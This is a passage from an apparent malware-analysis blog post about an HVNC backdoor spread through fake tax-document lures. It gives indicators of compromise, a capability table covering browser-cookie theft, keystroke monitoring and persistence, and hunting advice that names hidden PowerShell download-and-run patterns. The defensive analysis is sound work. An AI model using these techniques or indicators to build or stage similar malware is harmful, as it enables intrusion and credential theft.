malware&#8217;s mutex-naming convention<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">That name isn&#8217;t a coincidence: earlier pivoting in ANY.RUN&#8217;s Threat Intelligence Lookup on the C2 IP had already surfaced runtime mutex values from unrelated prior submissions &#8211; Global\\AppUpdateHelper_E7A2F and Global\\WinSvc_4CF8B2E6 &#8211; from builds spanning back to March 2026. The prefix is stable across builds; only the suffix changes. Interestingly, we also caught this malware executing its own browser-redirect command in the wild: several TI Lookup events show msedge.exe &#8211;type=util&#8230; launched in direct correlation with a connection to the C2 IP, matching the capability we&#8217;d already decoded statically.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Following the Infrastructure Trail<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The LNK&#8217;s embedded builder hostname &#8211; servee &#8211; turned into a live pivot. Querying Shodan for the staging IP (an Azure VM used only to host the second-stage download) showed an exposed RPC endpoint mapper leaking that exact NetBIOS name, confirming the builder machine and the delivery host are one and the same.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The live C2, by contrast, sits on a GHOSTnet GmbH VPS in Frankfurt &#8211; a different provider entirely, reflecting a deliberate split between disposable staging infrastructure and a stable, actively-managed C2 host (Shodan even shows a self-signed AnyDesk certificate on the box, suggesting the operator manages it remotely).<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"495\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Passive-infrastructure-fingerprinting-via-Shodan-1024x495.png\" alt=\"Passive infrastructure fingerprinting via Shodan tied the malware's build environment directly to its live delivery server.\n\" class=\"wp-image-23028\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Passive-infrastructure-fingerprinting-via-Shodan-1024x495.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Passive-infrastructure-fingerprinting-via-Shodan-300x145.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Passive-infrastructure-fingerprinting-via-Shodan-768x371.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Passive-infrastructure-fingerprinting-via-Shodan-1536x743.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Passive-infrastructure-fingerprinting-via-Shodan-370x179.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Passive-infrastructure-fingerprinting-via-Shodan-270x131.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Passive-infrastructure-fingerprinting-via-Shodan-740x358.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Passive-infrastructure-fingerprinting-via-Shodan.png 1636w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Passive infrastructure fingerprinting via Shodan tied the malware&#8217;s build environment directly to its live delivery server.<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Pivoting further in TI Lookup on the same C2 IP surfaced several more findings worth flagging. First, the same server also hosts other stage-2 payloads under different lure themes (dl.php?f=cresol.exe&amp;k=chave_tecl_cresol \u2014 a Sicredi\/Cresol-branded variant), confirming this is a reusable kit, not a one-off. Related activity also showed the same NFe lure theme being delivered through ClickFix-style prompts, suggesting the operators can rotate delivery methods as well as infrastructure and payloads. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"755\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-1-1024x755.png\" alt=\"A single infrastructure pivot in TI Lookup connected this sample to at least two other lure themes and a completely separate banking-phishing cluster.\" class=\"wp-image-23029\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-1-1024x755.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-1-300x221.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-1-768x566.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-1-1536x1133.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-1-370x273.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-1-270x199.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-1-740x546.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-1-80x60.png 80w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-1.png 1665w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>A single infrastructure pivot in TI Lookup connected this sample to at least two other lure themes and a completely separate banking-phishing cluster<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">A related domain \u2014 gerenciadorcaixa.digital, cloning Caixa Econ\u00f4mica Federal\u2019s corporate banking portal \u2014 shares the same gerenciador[bank].digital naming convention as a Banco do Brasil phishing clone found on a sibling IP, suggesting either a shared operator or hosting reseller behind multiple financial-phishing campaigns.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Capability Summary<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The final payload combines remote-control, data-theft, evasion, and persistence capabilities in a single backdoor. The table below summarizes the behaviors confirmed during static and dynamic analysis, along with the confidence level for each finding.<\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-373\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"3\"\n           data-rows=\"11\"\n           data-wpID=\"373\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell wpdt-bold\"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Capability\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell wpdt-bold\"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Confidence\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell wpdt-bold\"\n                                            data-cell-id=\"C1\"\n                    data-col-index=\"2\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Evidence\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Hidden virtual desktop \/ HVNC remote control\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C2\"\n                    data-col-index=\"2\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CreateDesktopA\/OpenDesktopA\/SetThreadDesktop\u00a0imports + producer\/consumer thread architecture (Section 8.2.4)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Screen capture\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C3\"\n                    data-col-index=\"2\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        GDI\u00a0BitBlt\/GetDIBits\u00a0imports + OpenCV\u00a0cv::Mat queue in sub_14000E540\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Simulated mouse\/keyboard input (remote control)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C4\"\n                    data-col-index=\"2\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        SendInput\/PostMessageA\/SendMessageA\u00a0imports\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Keystroke monitoring\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Medium-High\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C5\"\n                    data-col-index=\"2\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        GetAsyncKeyState\/GetKeyboardState\u00a0imports (YARA\u00a0KeyloggerApi); active polling loop not fully traced\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Firefox cookie \/ history \/ permission theft\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C6\"\n                    data-col-index=\"2\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Hardcoded\u00a0cookies.sqlite\u00a0\/\u00a0places.sqlite\u00a0\/\u00a0permissions.sqlitestrings\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Chromium credential-store theft\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Unconfirmed\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C7\"\n                    data-col-index=\"2\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        No \u201cLogin Data\u201d\/\u201cWeb Data\u201d plaintext strings found; possible dynamic resolution not yet decoded\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        AV\/EDR discovery (non-destructive)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C8\"\n                    data-col-index=\"2\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        20+ hardcoded AV process names + low-priority evasion\u00a0behavior\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A9\"\n                    data-col-index=\"0\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Operator-directed browser redirection\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B9\"\n                    data-col-index=\"1\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C9\"\n                    data-col-index=\"2\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        sub_140019CA0, fully decoded (Section 8.4)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A10\"\n                    data-col-index=\"0\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Raw-TCP custom C2 protocol (self-identified as \u201cHVNC\u201d, port 27015\/27017 per build)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B10\"\n                    data-col-index=\"1\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C10\"\n                    data-col-index=\"2\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Fully decoded C2 host\/socket configuration (Section 8.2.3) plus a captured plaintext handshake naming the protocol itself and transmitting a full victim fingerprint (Section 10.2)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A11\"\n                    data-col-index=\"0\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Persistence mechanism\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B11\"\n                    data-col-index=\"1\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High - Confirmed\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C11\"\n                    data-col-index=\"2\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Startup-folder shortcut (T1547.001) pointing to a self-relocated, renamed copy (AppUpdateHelper.exe) in %APPDATA%\\Roaming\\Programs\\Common\\; confirmed dynamically via ANY.RUN (Section 8.5.3)\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-373'>\ntable#wpdtSimpleTable-373{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-373 td, table.wpdtSimpleTable373 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<h2 class=\"wp-block-heading\">Detection and Hunting Priorities<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Because payload hashes and infrastructure can change between builds, detection should combine campaign-specific IOCs with more durable behavioral signals.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Watch for suspicious PowerShell execution:<\/strong> Flag hidden PowerShell launched from .lnk files, especially commands combining Invoke-WebRequest and Start-Process.<\/li>\n\n\n\n<li><strong>Check fake update binaries:<\/strong> Investigate unsigned processes named UpdateAssistant.exe or similar Windows Update-themed files running outside legitimate Windows directories.<\/li>\n\n\n\n<li><strong>Hunt for HVNC behavior:<\/strong> Look for unsigned processes combining hidden-desktop APIs, screen capture, and simulated keyboard or mouse input.<\/li>\n\n\n\n<li><strong>Monitor persistence:<\/strong> Alert on unusual .lnk files written to the Startup folder, particularly when they point to executables under %APPDATA%.<\/li>\n\n\n\n<li><strong>Use durable network indicators:<\/strong> Hunt for the HVNC- protocol strings, VERSION:1.2.0.4.71, and the nfe_valid_access_key delivery token rather than relying only on current C2 IPs or ports.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">How Organizations Can Reduce the Risk from HVNC Campaigns<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Security awareness should reflect these workflows, especially for finance, accounting, procurement, and other document-heavy teams. Employees should know how to verify unexpected files or signing requests before opening them.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Treat Tax and Business Documents as a High-Risk Entry Point<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Organizations handling large volumes of tax documents, invoices, signing requests, and other financial communications should treat unexpected downloads and attachments with extra scrutiny.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Security awareness should focus on the specific workflows attackers imitate, not phishing in general. Employees working in finance, accounting, procurement, and other document-heavy functions are especially important here.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Analyze Suspicious Files Before They Reach Production Systems<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The campaign relies on several seemingly ordinary stages \u2014 a ZIP archive, an .lnk shortcut, PowerShell, and an installer \u2014 before the HVNC payload appears. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"508\" height=\"619\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/ANY.RUN-sandbox-network-capture.png\" alt=\"ANY.RUN sandbox network capture - C2 beacon to the Source-engine \" class=\"wp-image-23031\" style=\"width:410px;height:auto\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/ANY.RUN-sandbox-network-capture.png 508w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/ANY.RUN-sandbox-network-capture-246x300.png 246w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/ANY.RUN-sandbox-network-capture-370x451.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/ANY.RUN-sandbox-network-capture-270x329.png 270w\" sizes=\"auto, (max-width: 508px) 100vw, 508px\" \/><figcaption class=\"wp-element-caption\"><em>ANY.RUN sandbox network capture &#8211; C2 beacon to the Source-engine <\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Suspicious files and URLs can be opened in an isolated environment such as <strong>ANY.RUN&#8217;s <a href=\"https:\/\/any.run\/features\/?utm_medium=article&amp;utm_campaign=hvnc-backdoor-targets-latam&amp;utm_term=080926&amp;utm_content=linktosandboxlanding\" target=\"_blank\" rel=\"noreferrer noopener\">Interactive Sandbox<\/a><\/strong> to expose the full execution chain, including hidden PowerShell activity, dropped files, network connections, persistence, and C2 behavior before an analyst makes a containment decision.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Expand Investigations Beyond the First IOC<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">One malicious IP or file may represent only a small part of the campaign.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Using <strong>ANY.RUN&#8217;s <a href=\"https:\/\/any.run\/threat-intelligence-lookup\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=hvnc-backdoor-targets-latam&amp;utm_term=080926&amp;utm_content=linktotilookuplanding\" target=\"_blank\" rel=\"noreferrer noopener\">Threat Intelligence Lookup<\/a><\/strong>, teams can pivot from an IP, domain, URL, mutex, or other indicator to related samples and infrastructure. In this investigation, those pivots exposed additional lure themes and connected activity beyond the original sample. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"586\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-analysis-sessions-1024x586.png\" alt=\"ANY.RUN TI Lookup - Analyses tab showing related submissions across the campaign timeline \n\" class=\"wp-image-23032\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-analysis-sessions-1024x586.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-analysis-sessions-300x172.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-analysis-sessions-768x439.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-analysis-sessions-1536x879.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-analysis-sessions-2048x1172.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-analysis-sessions-370x212.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-analysis-sessions-270x154.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-analysis-sessions-740x423.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>ANY.RUN TI Lookup &#8211; Analyses tab showing related submissions across the campaign timeline<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">For security leaders, this means fewer incidents treated in isolation and a better chance of identifying the wider campaign before another endpoint is affected.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Push Fresh Threat Intelligence Into Existing Controls<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Because payload hashes and infrastructure can change between builds, organizations should avoid relying only on static blocklists. The investigation already showed different payload hashes across builds while more durable behavioral and protocol indicators remained consistent. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"422\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/06\/image-1-1024x422.png\" alt=\"TI feeds\" class=\"wp-image-22925\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/06\/image-1-1024x422.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/06\/image-1-300x124.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/06\/image-1-768x317.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/06\/image-1-1536x634.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/06\/image-1-370x153.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/06\/image-1-270x111.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/06\/image-1-740x305.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/06\/image-1.png 1583w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>TI Feeds provide SOC teams with fresh, actionable IOCs<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><strong><a href=\"https:\/\/any.run\/threat-intelligence-feeds\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=hvnc-backdoor-targets-latam&amp;utm_term=080926&amp;utm_content=linktotifeedslanding\" target=\"_blank\" rel=\"noreferrer noopener\">Threat Intelligence Feeds<\/a><\/strong> can help distribute current malicious infrastructure and indicators into SIEM, EDR, firewalls, and other existing security controls, while behavioral detections provide coverage when individual IPs, domains, or payloads rotate.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Plan for Full Containment, Not Just Initial Cleanup<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Once HVNC is installed, removing the original file is not enough. The malware establishes persistence, maintains C2 access, and can continue operating after reboot. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Incident-response plans should therefore include checking persistence mechanisms, terminating malicious processes, blocking C2 activity, reviewing exposed credentials and browser sessions, and confirming that attacker access has been fully removed.<\/p>\n\n\n\n<!-- Regular Banner START -->\n<div class=\"regular-banner\">\n<!-- Text Content -->\n<p class=\"regular-banner__text\">\n<span class=\"highlight\">Turn deeper threat visibility into lower MTTD and MTTR.\n<\/span> \n<br>\nShorten the path from threat discovery to business protection.\n<\/p>\n<!-- CTA Link -->\n<a class=\"regular-banner__link\" id=\"article-banner-regular\" href=\"https:\/\/any.run\/enterprise\/?utm_medium=article&amp;utm_campaign=hvnc-backdoor-targets-latam&amp;utm_term=080926&amp;utm_content=linktoenterprise#contact-sales\" rel=\"noopener\" target=\"_blank\">\nStrengthen SOC Performance <\/a>\n<\/div>\n<!-- Regular Banner END -->\n<!-- Regular Banner Styles START -->\n\n<style>\n.regular-banner {\ndisplay: flex;\ntext-align: center;\nflex-direction: column;\nalign-items: center;\ngap: 1.5rem;\nwidth: 100%;\npadding: 2rem;\nmargin: 1.5rem 0;\nborder-radius: 0.5rem;\nfont-family: 'Catamaran Bold';\nmargin-inline: auto;\nbackground: rgba(32, 168, 241, 0.1);\nborder: 1px solid rgba(75, 174, 227, 0.32);\n}\n\n.regular-banner__text {\nfont-size: 1.5rem;\nmargin: 0;\n}\n\n.highlight {\ncolor: #ea2526;\n}\n\n.regular-banner__link {\npadding: 0.5rem 1.5rem;\nfont-weight: 500;\ntext-decoration: none;\nborder-radius: 0.5rem;\ncolor: #FFFFFF;\nbackground-color: #1491D4;\ntext-align: center;\ntransition: all 0.2s ease-in;\n}\n\n.regular-banner__link:hover {\nbackground-color: #68CBFF;\ncolor: white;\n}\n<\/style>\n<!-- Regular Banner Styles END -->\n\n\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This HVNC campaign shows how familiar business workflows can be turned into an effective path to persistent compromise. Fake tax documents and trusted-brand lures ultimately lead to a backdoor capable of hidden remote control, keystroke monitoring, browser-data theft, and long-term access. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For organizations across Latin America, the key lesson is to look beyond the initial phishing artifact and detect the behaviors and infrastructure that remain consistent as campaigns evolve:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Simple delivery can lead to high-impact compromise:<\/strong> A phishing page, shortcut file, and installer ultimately provide attackers with a capable HVNC backdoor.<\/li>\n\n\n\n<li><strong>Persistence increases the window of exposure:<\/strong> The malware can maintain access through a Startup-folder mechanism even after a reboot. <\/li>\n\n\n\n<li><strong>Static IOCs are not enough:<\/strong> Payload hashes change between builds, making behavioral and protocol-based detection more reliable over time. <\/li>\n\n\n\n<li><strong>C2 behavior provides durable detection opportunities:<\/strong> The malware exposes distinctive protocol strings and sends victim and AV information during check-in, giving defenders stronger hunting signals than IPs alone. <\/li>\n\n\n\n<li><strong>Threat intelligence helps reveal the wider campaign:<\/strong> Pivoting from individual indicators exposed related lure themes, infrastructure, and financially motivated phishing activity beyond the original sample. <\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">About ANY.RUN<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/any.run\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=hvnc-backdoor-targets-latam&amp;utm_term=080926&amp;utm_content=linktolanding\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>ANY.RUN<\/strong><\/a> is a leading provider of interactive malware analysis and threat intelligence solutions trusted by more than <strong>16,000 organizations worldwide<\/strong>, including <strong>74% of the Fortune 100<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Its <a href=\"https:\/\/any.run\/features\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=hvnc-backdoor-targets-latam&amp;utm_term=080926&amp;utm_content=linktosandboxlanding\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Interactive Sandbox<\/strong><\/a> and <a href=\"https:\/\/any.run\/threat-intelligence-lookup\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=hvnc-backdoor-targets-latam&amp;utm_term=080926&amp;utm_content=linktotilookuplanding\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Threat Intelligence<\/strong><\/a> solutions help SOC teams analyze suspicious files and URLs, uncover malicious behavior, enrich investigations with actionable context, and connect related activity across infrastructure and campaigns.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This helps security teams <strong>reduce investigation time, lower MTTD and MTTR, and contain threats before business impact grows.<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">MITRE 